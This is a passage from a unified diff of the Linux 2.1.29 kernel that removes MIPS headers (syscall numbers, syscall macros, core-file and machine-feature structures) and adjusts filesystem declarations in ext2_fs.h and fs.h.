(__NR_POSIX + 165) -#define __NR_POSIX_getrlimit (__NR_POSIX + 166) -#define __NR_POSIX_setrlimit (__NR_POSIX + 167) -#define __NR_POSIX_waitpid (__NR_POSIX + 168) -#define __NR_POSIX_dup2 (__NR_POSIX + 169) -#define __NR_POSIX_reserved2 (__NR_POSIX + 170) -#define __NR_POSIX_reserved3 (__NR_POSIX + 171) -#define __NR_POSIX_reserved4 (__NR_POSIX + 172) -#define __NR_POSIX_reserved5 (__NR_POSIX + 173) -#define __NR_POSIX_reserved6 (__NR_POSIX + 174) -#define __NR_POSIX_reserved7 (__NR_POSIX + 175) -#define __NR_POSIX_reserved8 (__NR_POSIX + 176) -#define __NR_POSIX_reserved9 (__NR_POSIX + 177) -#define __NR_POSIX_reserved10 (__NR_POSIX + 178) -#define __NR_POSIX_reserved11 (__NR_POSIX + 179) -#define __NR_POSIX_reserved12 (__NR_POSIX + 180) -#define __NR_POSIX_reserved13 (__NR_POSIX + 181) -#define __NR_POSIX_reserved14 (__NR_POSIX + 182) -#define __NR_POSIX_reserved15 (__NR_POSIX + 183) -#define __NR_POSIX_reserved16 (__NR_POSIX + 184) -#define __NR_POSIX_reserved17 (__NR_POSIX + 185) -#define __NR_POSIX_reserved18 (__NR_POSIX + 186) -#define __NR_POSIX_reserved19 (__NR_POSIX + 187) -#define __NR_POSIX_reserved20 (__NR_POSIX + 188) -#define __NR_POSIX_reserved21 (__NR_POSIX + 189) -#define __NR_POSIX_reserved22 (__NR_POSIX + 190) -#define __NR_POSIX_reserved23 (__NR_POSIX + 191) -#define __NR_POSIX_reserved24 (__NR_POSIX + 192) -#define __NR_POSIX_reserved25 (__NR_POSIX + 193) -#define __NR_POSIX_reserved26 (__NR_POSIX + 194) -#define __NR_POSIX_reserved27 (__NR_POSIX + 195) -#define __NR_POSIX_reserved28 (__NR_POSIX + 196) -#define __NR_POSIX_reserved29 (__NR_POSIX + 197) -#define __NR_POSIX_reserved30 (__NR_POSIX + 198) -#define __NR_POSIX_reserved31 (__NR_POSIX + 199) -#define __NR_POSIX_reserved32 (__NR_POSIX + 200) -#define __NR_POSIX_reserved33 (__NR_POSIX + 201) -#define __NR_POSIX_reserved34 (__NR_POSIX + 202) -#define __NR_POSIX_reserved35 (__NR_POSIX + 203) -#define __NR_POSIX_reserved36 (__NR_POSIX + 204) -#define __NR_POSIX_reserved37 (__NR_POSIX + 205) -#define __NR_POSIX_reserved38 (__NR_POSIX + 206) -#define __NR_POSIX_reserved39 (__NR_POSIX + 207) -#define __NR_POSIX_reserved40 (__NR_POSIX + 208) -#define __NR_POSIX_reserved41 (__NR_POSIX + 209) -#define __NR_POSIX_reserved42 (__NR_POSIX + 210) -#define __NR_POSIX_reserved43 (__NR_POSIX + 211) -#define __NR_POSIX_reserved44 (__NR_POSIX + 212) -#define __NR_POSIX_reserved45 (__NR_POSIX + 213) -#define __NR_POSIX_reserved46 (__NR_POSIX + 214) -#define __NR_POSIX_reserved47 (__NR_POSIX + 215) -#define __NR_POSIX_reserved48 (__NR_POSIX + 216) -#define __NR_POSIX_reserved49 (__NR_POSIX + 217) -#define __NR_POSIX_reserved50 (__NR_POSIX + 218) -#define __NR_POSIX_reserved51 (__NR_POSIX + 219) -#define __NR_POSIX_reserved52 (__NR_POSIX + 220) -#define __NR_POSIX_reserved53 (__NR_POSIX + 221) -#define __NR_POSIX_reserved54 (__NR_POSIX + 222) -#define __NR_POSIX_reserved55 (__NR_POSIX + 223) -#define __NR_POSIX_reserved56 (__NR_POSIX + 224) -#define __NR_POSIX_reserved57 (__NR_POSIX + 225) -#define __NR_POSIX_reserved58 (__NR_POSIX + 226) -#define __NR_POSIX_reserved59 (__NR_POSIX + 227) -#define __NR_POSIX_reserved60 (__NR_POSIX + 228) -#define __NR_POSIX_reserved61 (__NR_POSIX + 229) -#define __NR_POSIX_reserved62 (__NR_POSIX + 230) -#define __NR_POSIX_reserved63 (__NR_POSIX + 231) -#define __NR_POSIX_reserved64 (__NR_POSIX + 232) -#define __NR_POSIX_reserved65 (__NR_POSIX + 233) -#define __NR_POSIX_reserved66 (__NR_POSIX + 234) -#define __NR_POSIX_reserved67 (__NR_POSIX + 235) -#define __NR_POSIX_reserved68 (__NR_POSIX + 236) -#define __NR_POSIX_reserved69 (__NR_POSIX + 237) -#define __NR_POSIX_reserved70 (__NR_POSIX + 238) -#define __NR_POSIX_reserved71 (__NR_POSIX + 239) -#define __NR_POSIX_reserved72 (__NR_POSIX + 240) -#define __NR_POSIX_reserved73 (__NR_POSIX + 241) -#define __NR_POSIX_reserved74 (__NR_POSIX + 242) -#define __NR_POSIX_reserved75 (__NR_POSIX + 243) -#define __NR_POSIX_reserved76 (__NR_POSIX + 244) -#define __NR_POSIX_reserved77 (__NR_POSIX + 245) -#define __NR_POSIX_reserved78 (__NR_POSIX + 246) -#define __NR_POSIX_reserved79 (__NR_POSIX + 247) -#define __NR_POSIX_reserved80 (__NR_POSIX + 248) -#define __NR_POSIX_reserved81 (__NR_POSIX + 249) -#define __NR_POSIX_reserved82 (__NR_POSIX + 250) -#define __NR_POSIX_reserved83 (__NR_POSIX + 251) -#define __NR_POSIX_reserved84 (__NR_POSIX + 252) -#define __NR_POSIX_reserved85 (__NR_POSIX + 253) -#define __NR_POSIX_reserved86 (__NR_POSIX + 254) -#define __NR_POSIX_reserved87 (__NR_POSIX + 255) -#define __NR_POSIX_reserved88 (__NR_POSIX + 256) -#define __NR_POSIX_reserved89 (__NR_POSIX + 257) -#define __NR_POSIX_reserved90 (__NR_POSIX + 258) -#define __NR_POSIX_reserved91 (__NR_POSIX + 259) -#define __NR_POSIX_netboot (__NR_POSIX + 260) -#define __NR_POSIX_netunboot (__NR_POSIX + 261) -#define __NR_POSIX_rdump (__NR_POSIX + 262) -#define __NR_POSIX_setsid (__NR_POSIX + 263) -#define __NR_POSIX_getmaxsig (__NR_POSIX + 264) -#define __NR_POSIX_sigpending (__NR_POSIX + 265) -#define __NR_POSIX_sigprocmask (__NR_POSIX + 266) -#define __NR_POSIX_sigsuspend (__NR_POSIX + 267) -#define __NR_POSIX_sigaction (__NR_POSIX + 268) -#define __NR_POSIX_MIPS_reserved1 (__NR_POSIX + 269) -#define __NR_POSIX_MIPS_reserved2 (__NR_POSIX + 270) -#define __NR_POSIX_MIPS_reserved3 (__NR_POSIX + 271) -#define __NR_POSIX_MIPS_reserved4 (__NR_POSIX + 272) -#define __NR_POSIX_MIPS_reserved5 (__NR_POSIX + 273) -#define __NR_POSIX_MIPS_reserved6 (__NR_POSIX + 274) -#define __NR_POSIX_MIPS_reserved7 (__NR_POSIX + 275) -#define __NR_POSIX_MIPS_reserved8 (__NR_POSIX + 276) -#define __NR_POSIX_MIPS_reserved9 (__NR_POSIX + 277) -#define __NR_POSIX_MIPS_reserved10 (__NR_POSIX + 278) -#define __NR_POSIX_MIPS_reserved11 (__NR_POSIX + 279) -#define __NR_POSIX_TANDEM_reserved1 (__NR_POSIX + 280) -#define __NR_POSIX_TANDEM_reserved2 (__NR_POSIX + 281) -#define __NR_POSIX_TANDEM_reserved3 (__NR_POSIX + 282) -#define __NR_POSIX_TANDEM_reserved4 (__NR_POSIX + 283) -#define __NR_POSIX_TANDEM_reserved5 (__NR_POSIX + 284) -#define __NR_POSIX_TANDEM_reserved6 (__NR_POSIX + 285) -#define __NR_POSIX_TANDEM_reserved7 (__NR_POSIX + 286) -#define __NR_POSIX_TANDEM_reserved8 (__NR_POSIX + 287) -#define __NR_POSIX_TANDEM_reserved9 (__NR_POSIX + 288) -#define __NR_POSIX_TANDEM_reserved10 (__NR_POSIX + 289) -#define __NR_POSIX_TANDEM_reserved11 (__NR_POSIX + 290) -#define __NR_POSIX_TANDEM_reserved12 (__NR_POSIX + 291) -#define __NR_POSIX_TANDEM_reserved13 (__NR_POSIX + 292) -#define __NR_POSIX_TANDEM_reserved14 (__NR_POSIX + 293) -#define __NR_POSIX_TANDEM_reserved15 (__NR_POSIX + 294) -#define __NR_POSIX_TANDEM_reserved16 (__NR_POSIX + 295) -#define __NR_POSIX_TANDEM_reserved17 (__NR_POSIX + 296) -#define __NR_POSIX_TANDEM_reserved18 (__NR_POSIX + 297) -#define __NR_POSIX_TANDEM_reserved19 (__NR_POSIX + 298) -#define __NR_POSIX_TANDEM_reserved20 (__NR_POSIX + 299) -#define __NR_POSIX_SGI_reserved7 (__NR_POSIX + 300) -#define __NR_POSIX_SGI_reserved8 (__NR_POSIX + 301) -#define __NR_POSIX_SGI_reserved9 (__NR_POSIX + 302) -#define __NR_POSIX_SGI_reserved10 (__NR_POSIX + 303) -#define __NR_POSIX_SGI_reserved11 (__NR_POSIX + 304) -#define __NR_POSIX_SGI_reserved12 (__NR_POSIX + 305) -#define __NR_POSIX_SGI_reserved13 (__NR_POSIX + 306) -#define __NR_POSIX_SGI_reserved14 (__NR_POSIX + 307) -#define __NR_POSIX_SGI_reserved15 (__NR_POSIX + 308) -#define __NR_POSIX_SGI_reserved16 (__NR_POSIX + 309) -#define __NR_POSIX_SGI_reserved17 (__NR_POSIX + 310) -#define __NR_POSIX_SGI_reserved18 (__NR_POSIX + 311) -#define __NR_POSIX_SGI_reserved19 (__NR_POSIX + 312) -#define __NR_POSIX_SGI_reserved20 (__NR_POSIX + 313) -#define __NR_POSIX_SGI_reserved21 (__NR_POSIX + 314) -#define __NR_POSIX_SGI_reserved22 (__NR_POSIX + 315) -#define __NR_POSIX_SGI_reserved23 (__NR_POSIX + 316) -#define __NR_POSIX_SGI_reserved24 (__NR_POSIX + 317) -#define __NR_POSIX_SGI_reserved25 (__NR_POSIX + 318) -#define __NR_POSIX_SGI_reserved26 (__NR_POSIX + 319) - -/* - * Linux syscalls are in the range from 4000 to 4999 - * Hopefully these syscall numbers are unused ... If not everyone using - * statically linked binaries is pretty upsh*t. You've been warned. - */ -#define __NR_Linux 4000 -#define __NR_syscall (__NR_Linux + 0) -#define __NR_exit (__NR_Linux + 1) -#define __NR_fork (__NR_Linux + 2) -#define __NR_read (__NR_Linux + 3) -#define __NR_write (__NR_Linux + 4) -#define __NR_open (__NR_Linux + 5) -#define __NR_close (__NR_Linux + 6) -#define __NR_waitpid (__NR_Linux + 7) -#define __NR_creat (__NR_Linux + 8) -#define __NR_link (__NR_Linux + 9) -#define __NR_unlink (__NR_Linux + 10) -#define __NR_execve (__NR_Linux + 11) -#define __NR_chdir (__NR_Linux + 12) -#define __NR_time (__NR_Linux + 13) -#define __NR_mknod (__NR_Linux + 14) -#define __NR_chmod (__NR_Linux + 15) -#define __NR_chown (__NR_Linux + 16) -#define __NR_break (__NR_Linux + 17) -#define __NR_oldstat (__NR_Linux + 18) -#define __NR_lseek (__NR_Linux + 19) -#define __NR_getpid (__NR_Linux + 20) -#define __NR_mount (__NR_Linux + 21) -#define __NR_umount (__NR_Linux + 22) -#define __NR_setuid (__NR_Linux + 23) -#define __NR_getuid (__NR_Linux + 24) -#define __NR_stime (__NR_Linux + 25) -#define __NR_ptrace (__NR_Linux + 26) -#define __NR_alarm (__NR_Linux + 27) -#define __NR_oldfstat (__NR_Linux + 28) -#define __NR_pause (__NR_Linux + 29) -#define __NR_utime (__NR_Linux + 30) -#define __NR_stty (__NR_Linux + 31) -#define __NR_gtty (__NR_Linux + 32) -#define __NR_access (__NR_Linux + 33) -#define __NR_nice (__NR_Linux + 34) -#define __NR_ftime (__NR_Linux + 35) -#define __NR_sync (__NR_Linux + 36) -#define __NR_kill (__NR_Linux + 37) -#define __NR_rename (__NR_Linux + 38) -#define __NR_mkdir (__NR_Linux + 39) -#define __NR_rmdir (__NR_Linux + 40) -#define __NR_dup (__NR_Linux + 41) -#define __NR_pipe (__NR_Linux + 42) -#define __NR_times (__NR_Linux + 43) -#define __NR_prof (__NR_Linux + 44) -#define __NR_brk (__NR_Linux + 45) -#define __NR_setgid (__NR_Linux + 46) -#define __NR_getgid (__NR_Linux + 47) -#define __NR_signal (__NR_Linux + 48) -#define __NR_geteuid (__NR_Linux + 49) -#define __NR_getegid (__NR_Linux + 50) -#define __NR_acct (__NR_Linux + 51) -#define __NR_phys (__NR_Linux + 52) -#define __NR_lock (__NR_Linux + 53) -#define __NR_ioctl (__NR_Linux + 54) -#define __NR_fcntl (__NR_Linux + 55) -#define __NR_mpx (__NR_Linux + 56) -#define __NR_setpgid (__NR_Linux + 57) -#define __NR_ulimit (__NR_Linux + 58) -#define __NR_oldolduname (__NR_Linux + 59) -#define __NR_umask (__NR_Linux + 60) -#define __NR_chroot (__NR_Linux + 61) -#define __NR_ustat (__NR_Linux + 62) -#define __NR_dup2 (__NR_Linux + 63) -#define __NR_getppid (__NR_Linux + 64) -#define __NR_getpgrp (__NR_Linux + 65) -#define __NR_setsid (__NR_Linux + 66) -#define __NR_sigaction (__NR_Linux + 67) -#define __NR_sgetmask (__NR_Linux + 68) -#define __NR_ssetmask (__NR_Linux + 69) -#define __NR_setreuid (__NR_Linux + 70) -#define __NR_setregid (__NR_Linux + 71) -#define __NR_sigsuspend (__NR_Linux + 72) -#define __NR_sigpending (__NR_Linux + 73) -#define __NR_sethostname (__NR_Linux + 74) -#define __NR_setrlimit (__NR_Linux + 75) -#define __NR_getrlimit (__NR_Linux + 76) -#define __NR_getrusage (__NR_Linux + 77) -#define __NR_gettimeofday (__NR_Linux + 78) -#define __NR_settimeofday (__NR_Linux + 79) -#define __NR_getgroups (__NR_Linux + 80) -#define __NR_setgroups (__NR_Linux + 81) -#define __NR_select (__NR_Linux + 82) -#define __NR_symlink (__NR_Linux + 83) -#define __NR_oldlstat (__NR_Linux + 84) -#define __NR_readlink (__NR_Linux + 85) -#define __NR_uselib (__NR_Linux + 86) -#define __NR_swapon (__NR_Linux + 87) -#define __NR_reboot (__NR_Linux + 88) -#define __NR_readdir (__NR_Linux + 89) -#define __NR_mmap (__NR_Linux + 90) -#define __NR_munmap (__NR_Linux + 91) -#define __NR_truncate (__NR_Linux + 92) -#define __NR_ftruncate (__NR_Linux + 93) -#define __NR_fchmod (__NR_Linux + 94) -#define __NR_fchown (__NR_Linux + 95) -#define __NR_getpriority (__NR_Linux + 96) -#define __NR_setpriority (__NR_Linux + 97) -#define __NR_profil (__NR_Linux + 98) -#define __NR_statfs (__NR_Linux + 99) -#define __NR_fstatfs (__NR_Linux + 100) -#define __NR_ioperm (__NR_Linux + 101) -#define __NR_socketcall (__NR_Linux + 102) -#define __NR_syslog (__NR_Linux + 103) -#define __NR_setitimer (__NR_Linux + 104) -#define __NR_getitimer (__NR_Linux + 105) -#define __NR_stat (__NR_Linux + 106) -#define __NR_lstat (__NR_Linux + 107) -#define __NR_fstat (__NR_Linux + 108) -#define __NR_olduname (__NR_Linux + 109) -#define __NR_iopl (__NR_Linux + 110) -#define __NR_vhangup (__NR_Linux + 111) -#define __NR_idle (__NR_Linux + 112) -#define __NR_vm86 (__NR_Linux + 113) -#define __NR_wait4 (__NR_Linux + 114) -#define __NR_swapoff (__NR_Linux + 115) -#define __NR_sysinfo (__NR_Linux + 116) -#define __NR_ipc (__NR_Linux + 117) -#define __NR_fsync (__NR_Linux + 118) -#define __NR_sigreturn (__NR_Linux + 119) -#define __NR_clone (__NR_Linux + 120) -#define __NR_setdomainname (__NR_Linux + 121) -#define __NR_uname (__NR_Linux + 122) -#define __NR_modify_ldt (__NR_Linux + 123) -#define __NR_adjtimex (__NR_Linux + 124) -#define __NR_mprotect (__NR_Linux + 125) -#define __NR_sigprocmask (__NR_Linux + 126) -#define __NR_create_module (__NR_Linux + 127) -#define __NR_init_module (__NR_Linux + 128) -#define __NR_delete_module (__NR_Linux + 129) -#define __NR_get_kernel_syms (__NR_Linux + 130) -#define __NR_quotactl (__NR_Linux + 131) -#define __NR_getpgid (__NR_Linux + 132) -#define __NR_fchdir (__NR_Linux + 133) -#define __NR_bdflush (__NR_Linux + 134) -#define __NR_sysfs (__NR_Linux + 135) -#define __NR_personality (__NR_Linux + 136) -#define __NR_afs_syscall (__NR_Linux + 137) /* Syscall for Andrew File System */ -#define __NR_setfsuid (__NR_Linux + 138) -#define __NR_setfsgid (__NR_Linux + 139) -#define __NR__llseek (__NR_Linux + 140) -#define __NR_getdents (__NR_Linux + 141) -#define __NR__newselect (__NR_Linux + 142) -#define __NR_flock (__NR_Linux + 143) -#define __NR_msync (__NR_Linux + 144) -#define __NR_readv (__NR_Linux + 145) -#define __NR_writev (__NR_Linux + 146) -#define __NR_cacheflush (__NR_Linux + 147) -#define __NR_cachectl (__NR_Linux + 148) -#define __NR_sysmips (__NR_Linux + 149) -#define __NR_setup (__NR_Linux + 150) /* used only by init, to get system going */ -#define __NR_getsid (__NR_Linux + 151) -#define __NR_reserved1 (__NR_Linux + 152) -#define __NR_reserved2 (__NR_Linux + 153) -#define __NR_mlock (__NR_Linux + 154) -#define __NR_munlock (__NR_Linux + 155) -#define __NR_mlockall (__NR_Linux + 156) -#define __NR_munlockall (__NR_Linux + 157) - - -/* - * Offset of the last Linux flavoured syscall - */ -#define __NR_Linux_syscalls 157 - -#ifndef __LANGUAGE_ASSEMBLY__ - -/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */ -#define _syscall0(type,name) \ -type name(void) \ -{ \ -register long __res __asm__ ("$2"); \ -register long __err __asm__ ("$7"); \ -__asm__ volatile ("li\t$2,%2\n\t" \ - "syscall" \ - : "=r" (__res), "=r" (__err) \ - : "i" (__NR_##name)); \ -if (__err == 0) \ - return (type) __res; \ -errno = __res; \ -return -1; \ -} - -/* - * DANGER: This macro isn't usable for the pipe(2) call - * which has a unusual return convention. - */ -#define _syscall1(type,name,atype,a) \ -type name(atype a) \ -{ \ -register long __res __asm__ ("$2"); \ -register long __err __asm__ ("$7"); \ -__asm__ volatile ("move\t$4,%3\n\t" \ - "li\t$2,%2\n\t" \ - "syscall" \ - : "=r" (__res), "=r" (__err) \ - : "i" (__NR_##name),"r" ((long)(a)) \ - : "$4"); \ -if (__err == 0) \ - return (type) __res; \ -errno = __res; \ -return -1; \ -} - -#define _syscall2(type,name,atype,a,btype,b) \ -type name(atype a,btype b) \ -{ \ -register long __res __asm__ ("$2"); \ -register long __err __asm__ ("$7"); \ -__asm__ volatile ("move\t$4,%3\n\t" \ - "move\t$5,%4\n\t" \ - "li\t$2,%2\n\t" \ - "syscall" \ - : "=r" (__res), "=r" (__err) \ - : "i" (__NR_##name),"r" ((long)(a)), \ - "r" ((long)(b)) \ - : "$4","$5"); \ -if (__err == 0) \ - return (type) __res; \ -errno = __res; \ -return -1; \ -} - -#define _syscall3(type,name,atype,a,btype,b,ctype,c) \ -type name (atype a, btype b, ctype c) \ -{ \ -register long __res __asm__ ("$2"); \ -register long __err __asm__ ("$7"); \ -__asm__ volatile ("move\t$4,%3\n\t" \ - "move\t$5,%4\n\t" \ - "move\t$6,%5\n\t" \ - "li\t$2,%2\n\t" \ - "syscall" \ - : "=r" (__res), "=r" (__err) \ - : "i" (__NR_##name),"r" ((long)(a)), \ - "r" ((long)(b)), \ - "r" ((long)(c)) \ - : "$4","$5","$6"); \ -if (__err == 0) \ - return (type) __res; \ -errno = __res; \ -return -1; \ -} - -#define _syscall4(type,name,atype,a,btype,b,ctype,c,dtype,d) \ -type name (atype a, btype b, ctype c, dtype d) \ -{ \ -register long __res __asm__ ("$2"); \ -register long __err __asm__ ("$7"); \ -__asm__ volatile ("move\t$4,%3\n\t" \ - "move\t$5,%4\n\t" \ - "move\t$6,%5\n\t" \ - "move\t$7,%6\n\t" \ - "li\t$2,%2\n\t" \ - "syscall" \ - : "=r" (__res), "=r" (__err) \ - : "i" (__NR_##name),"r" ((long)(a)), \ - "r" ((long)(b)), \ - "r" ((long)(c)), \ - "r" ((long)(d)) \ - : "$4","$5","$6"); \ -if (__err == 0) \ - return (type) __res; \ -errno = __res; \ -return -1; \ -} - -#define _syscall5(type,name,atype,a,btype,b,ctype,c,dtype,d,etype,e) \ -type name (atype a,btype b,ctype c,dtype d,etype e) \ -{ \ -register long __res __asm__ ("$2"); \ -register long __err __asm__ ("$7"); \ -__asm__ volatile ("move\t$4,%3\n\t" \ - "move\t$5,%4\n\t" \ - "move\t$6,%5\n\t" \ - "move\t$7,%6\n\t" \ - "move\t$3,%7\n\t" \ - "li\t$2,%2\n\t" \ - "syscall" \ - : "=r" (__res), "=r" (__err) \ - : "i" (__NR_##name),"r" ((long)(a)), \ - "r" ((long)(b)), \ - "r" ((long)(c)), \ - "r" ((long)(d)), \ - "r" ((long)(e)) \ - : "$3","$4","$5","$6"); \ -if (__err == 0) \ - return (type) __res; \ -errno = __res; \ -return -1; \ -} - -#ifdef __KERNEL_SYSCALLS__ - -/* - * we need this inline - forking from kernel space will result - * in NO COPY ON WRITE (!!!), until an execve is executed. This - * is no problem, but for the stack. This is handled by not letting - * main() use the stack at all after fork(). Thus, no function - * calls - which means inline code for fork too, as otherwise we - * would use the stack upon exit from 'fork()'. - * - * Actually only pause and fork are needed inline, so that there - * won't be any messing with the stack from main(), but we define - * some others too. - */ -#define __NR__exit __NR_exit -static inline _syscall0(int,idle) -static inline _syscall0(int,fork) -static inline _syscall2(int,clone,unsigned long,flags,char *,esp) -static inline _syscall0(int,pause) -static inline _syscall0(int,setup) -static inline _syscall0(int,sync) -static inline _syscall0(pid_t,setsid) -static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count) -static inline _syscall1(int,dup,int,fd) -static inline _syscall3(int,execve,const char *,file,char **,argv,char **,envp) -static inline _syscall3(int,open,const char *,file,int,flag,int,mode) -static inline _syscall1(int,close,int,fd) -static inline _syscall1(int,_exit,int,exitcode) -static inline _syscall3(pid_t,waitpid,pid_t,pid,int *,wait_stat,int,options) - -static inline pid_t wait(int * wait_stat) -{ - return waitpid(-1,wait_stat,0); -} - -/* - * This is the mechanism for creating a new kernel thread. - * - * NOTE! Only a kernel-only process(ie the swapper or direct descendants - * who haven't done an "execve()") should use this: it will work within - * a system call from a "real" process, but the process memory space will - * not be free'd until both the parent and the child have exited. - */ -static inline pid_t kernel_thread(int (*fn)(void *), void * arg, unsigned long flags) -{ - long retval; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - "move\t$8,$sp\n\t" - "move\t$4,%5\n\t" - "li\t$2,%1\n\t" - "syscall\n\t" - "beq\t$8,$sp,1f\n\t" - "subu\t$sp,16\n\t" /* delay slot */ - "jalr\t%4\n\t" - "move\t$4,%3\n\t" /* delay slot */ - "move\t$4,$2\n\t" - "li\t$2,%2\n\t" - "syscall\n" - "1:\taddiu\t$sp,16\n\t" - "move\t%0,$2\n\t" - ".set\treorder" - :"=r" (retval) - :"i" (__NR_clone), "i" (__NR_exit), - "r" (arg), "r" (fn), - "r" (flags | CLONE_VM) - /* - * The called subroutine might have destroyed any of the - * at, result, argument or temporary registers ... - */ - :"$1", "$2", "$3", "$4", "$5", "$6", "$7", "$8", - "$9","$10","$11","$12","$13","$14","$15","$24","$25"); - - return retval; -} - -#endif /* !defined (__KERNEL_SYSCALLS__) */ -#endif /* !defined (__LANGUAGE_ASSEMBLY__) */ - -#endif /* __ASM_MIPS_UNISTD_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/user.h linux/include/asm-mips/user.h --- linux-2.1.29/include/asm-mips/user.h Wed Dec 13 05:39:47 1995 +++ linux/include/asm-mips/user.h Wed Dec 31 19:00:00 1969 @@ -1,52 +0,0 @@ -#ifndef __ASM_MIPS_USER_H -#define __ASM_MIPS_USER_H - -#include - -#include -#include - -/* - * Core file format: The core file is written in such a way that gdb - * can understand it and provide useful information to the user (under - * linux we use the `trad-core' bfd, NOT the osf-core). The file contents - * are as follows: - * - * upage: 1 page consisting of a user struct that tells gdb - * what is present in the file. Directly after this is a - * copy of the task_struct, which is currently not used by gdb, - * but it may come in handy at some point. All of the registers - * are stored as part of the upage. The upage should always be - * only one page long. - * data: The data segment follows next. We use current->end_text to - * current->brk to pick up all of the user variables, plus any memory - * that may have been sbrk'ed. No attempt is made to determine if a - * page is demand-zero or if a page is totally unused, we just cover - * the entire range. All of the addresses are rounded in such a way - * that an integral number of pages is written. - * stack: We need the stack information in order to get a meaningful - * backtrace. We need to write the data from usp to - * current->start_stack, so we round each of these in order to be able - * to write an integer number of pages. - */ -struct user { - unsigned long regs[EF_SIZE/8+32]; /* integer and fp regs */ - size_t u_tsize; /* text size (pages) */ - size_t u_dsize; /* data size (pages) */ - size_t u_ssize; /* stack size (pages) */ - unsigned long start_code; /* text starting address */ - unsigned long start_data; /* data starting address */ - unsigned long start_stack; /* stack starting address */ - long int signal; /* signal causing core dump */ - struct regs * u_ar0; /* help gdb find registers */ - unsigned long magic; /* identifies a core file */ - char u_comm[32]; /* user command name */ -}; - -#define NBPG PAGE_SIZE -#define UPAGES 1 -#define HOST_TEXT_START_ADDR (u.start_code) -#define HOST_DATA_START_ADDR (u.start_data) -#define HOST_STACK_END_ADDR (u.start_stack + u.u_ssize * NBPG) - -#endif /* __ASM_MIPS_USER_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/vector.h linux/include/asm-mips/vector.h --- linux-2.1.29/include/asm-mips/vector.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/vector.h Wed Dec 31 19:00:00 1969 @@ -1,61 +0,0 @@ -/* - * include/asm-mips/vector.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_VECTOR_H -#define __ASM_MIPS_VECTOR_H - -/* - * This structure defines how to access various features of - * different machine types and how to access them. - * - * FIXME: More things need to be accessed via this vector. - */ -struct feature { - void (*handle_int)(void); - /* - * How to access the floppy controller's ports. - */ - unsigned char (*fd_inb)(unsigned int port); - void (*fd_outb)(unsigned char value, unsigned int port); - /* - * How to access the floppy DMA functions. - */ - void (*fd_enable_dma)(void); - void (*fd_disable_dma)(void); - int (*fd_request_dma)(void); - void (*fd_free_dma)(void); - void (*fd_clear_dma_ff)(void); - void (*fd_set_dma_mode)(char mode); - void (*fd_set_dma_addr)(unsigned int a); - void (*fd_set_dma_count)(unsigned int count); - int (*fd_get_dma_residue)(void); - void (*fd_enable_irq)(void); - void (*fd_disable_irq)(void); - void (*fd_cacheflush)(unsigned char *addr, unsigned int size); - /* - * How to access the RTC register of DS1287 - */ - unsigned char (*rtc_read_data)(void); - void (*rtc_write_data)(unsigned char); -}; - -/* - * Similar to the above this is a structure that describes various - * CPU dependent features. - * - * FIXME: This vector isn't being used yet - */ -struct cpu { - int dummy; /* keep GCC from complaining */ -}; - -extern struct feature *feature; -extern struct cpu *cpu; - -#endif /* __ASM_MIPS_VECTOR_H */ diff -u --recursive --new-file linux-2.1.29/include/linux/ext2_fs.h linux/include/linux/ext2_fs.h --- linux-2.1.29/include/linux/ext2_fs.h Mon Sep 23 01:38:18 1996 +++ linux/include/linux/ext2_fs.h Fri Feb 21 18:34:37 1997 @@ -508,7 +508,7 @@ extern void ext2_put_super (struct super_block *); extern void ext2_write_super (struct super_block *); extern int ext2_remount (struct super_block *, int *, char *); -extern struct super_block * ext2_read_super (struct super_block *,void *,int); +extern struct super_block * ext2_read_super (struct super_block *,void *,int,const char *); extern int init_ext2_fs(void); extern void ext2_statfs (struct super_block *, struct statfs *, int); diff -u --recursive --new-file linux-2.1.29/include/linux/fs.h linux/include/linux/fs.h --- linux-2.1.29/include/linux/fs.h Sat May 10 18:17:34 1997 +++ linux/include/linux/fs.h Sun Mar 23 15:01:16 1997 @@ -230,6 +230,7 @@ #include #include #include +#include #include /* @@ -318,6 +319,7 @@ struct sysv_inode_info sysv_i; struct affs_inode_info affs_i; struct ufs_inode_info ufs_i; + struct lo_inode_info lo_i; struct romfs_inode_info romfs_i; struct socket socket_i; void * generic_ip; @@ -417,6 +419,7 @@ #include #include #include +#include #include struct super_block { @@ -445,6 +448,7 @@ struct sysv_sb_info sysv_sb; struct affs_sb_info affs_sb; struct ufs_sb_info ufs_sb; + struct lo_sb_info lo_sb; struct romfs_sb_info romfs_sb; void *generic_sbp; } u; @@ -476,6 +480,7 @@ struct inode_operations { struct file_operations * default_file_ops; + void (*stat) (struct inode *,struct stat *); int (*create) (struct inode *,const char *,int,int,struct inode **); int (*lookup) (struct inode *,const char *,int,struct inode **); int (*link) (struct inode *,struct inode *,const char *,int); @@ -517,7 +522,7 @@ }; struct file_system_type { - struct super_block *(*read_super) (struct super_block *, void *, int); + struct super_block *(*read_super) (struct super_block *, void *, int, const char *); const char *name; int requires_dev; struct file_system_type * next; @@ -526,8 +531,8 @@ extern int register_filesystem(struct file_system_type *); extern int unregister_filesystem(struct file_system_type *); -asmlinkage int sys_open(const char *, int, int); -asmlinkage int sys_close(unsigned int); /* yes, it's really unsigned */ +asmlinkage_p(int sys_open(const char *, int, int)); +asmlinkage_p(int sys_close(unsigned int)); /* yes, it's really unsigned */ extern void kill_fasync(struct fasync_struct *fa, int sig); @@ -620,8 +625,11 @@ struct inode ** res_inode, struct inode * base); extern int do_mknod(const char * filename, int mode, dev_t dev); extern int do_pipe(int *); +extern void lock_inode(struct inode * inode); +extern void unlock_inode(struct inode * inode); extern void iput(struct inode * inode); -extern struct inode * __iget(struct super_block * sb,int nr,int crsmnt); +extern struct inode * iget(struct super_block * sb,int nr); +extern struct inode *traverse_mntp(struct inode *inode); extern struct inode * get_empty_inode(void); extern void insert_inode_hash(struct inode *); extern void clear_inode(struct inode *); @@ -659,7 +667,11 @@ extern int generic_file_mmap(struct inode *, struct file *, struct vm_area_struct *); extern long generic_file_read(struct inode *, struct file *, char *, unsigned long); +extern void generic_stat(struct inode*, struct stat *); + extern void put_super(kdev_t dev); +extern kdev_t get_unnamed_dev(void); +extern void put_unnamed_dev(kdev_t dev); unsigned long generate_cluster(kdev_t dev, int b[], int 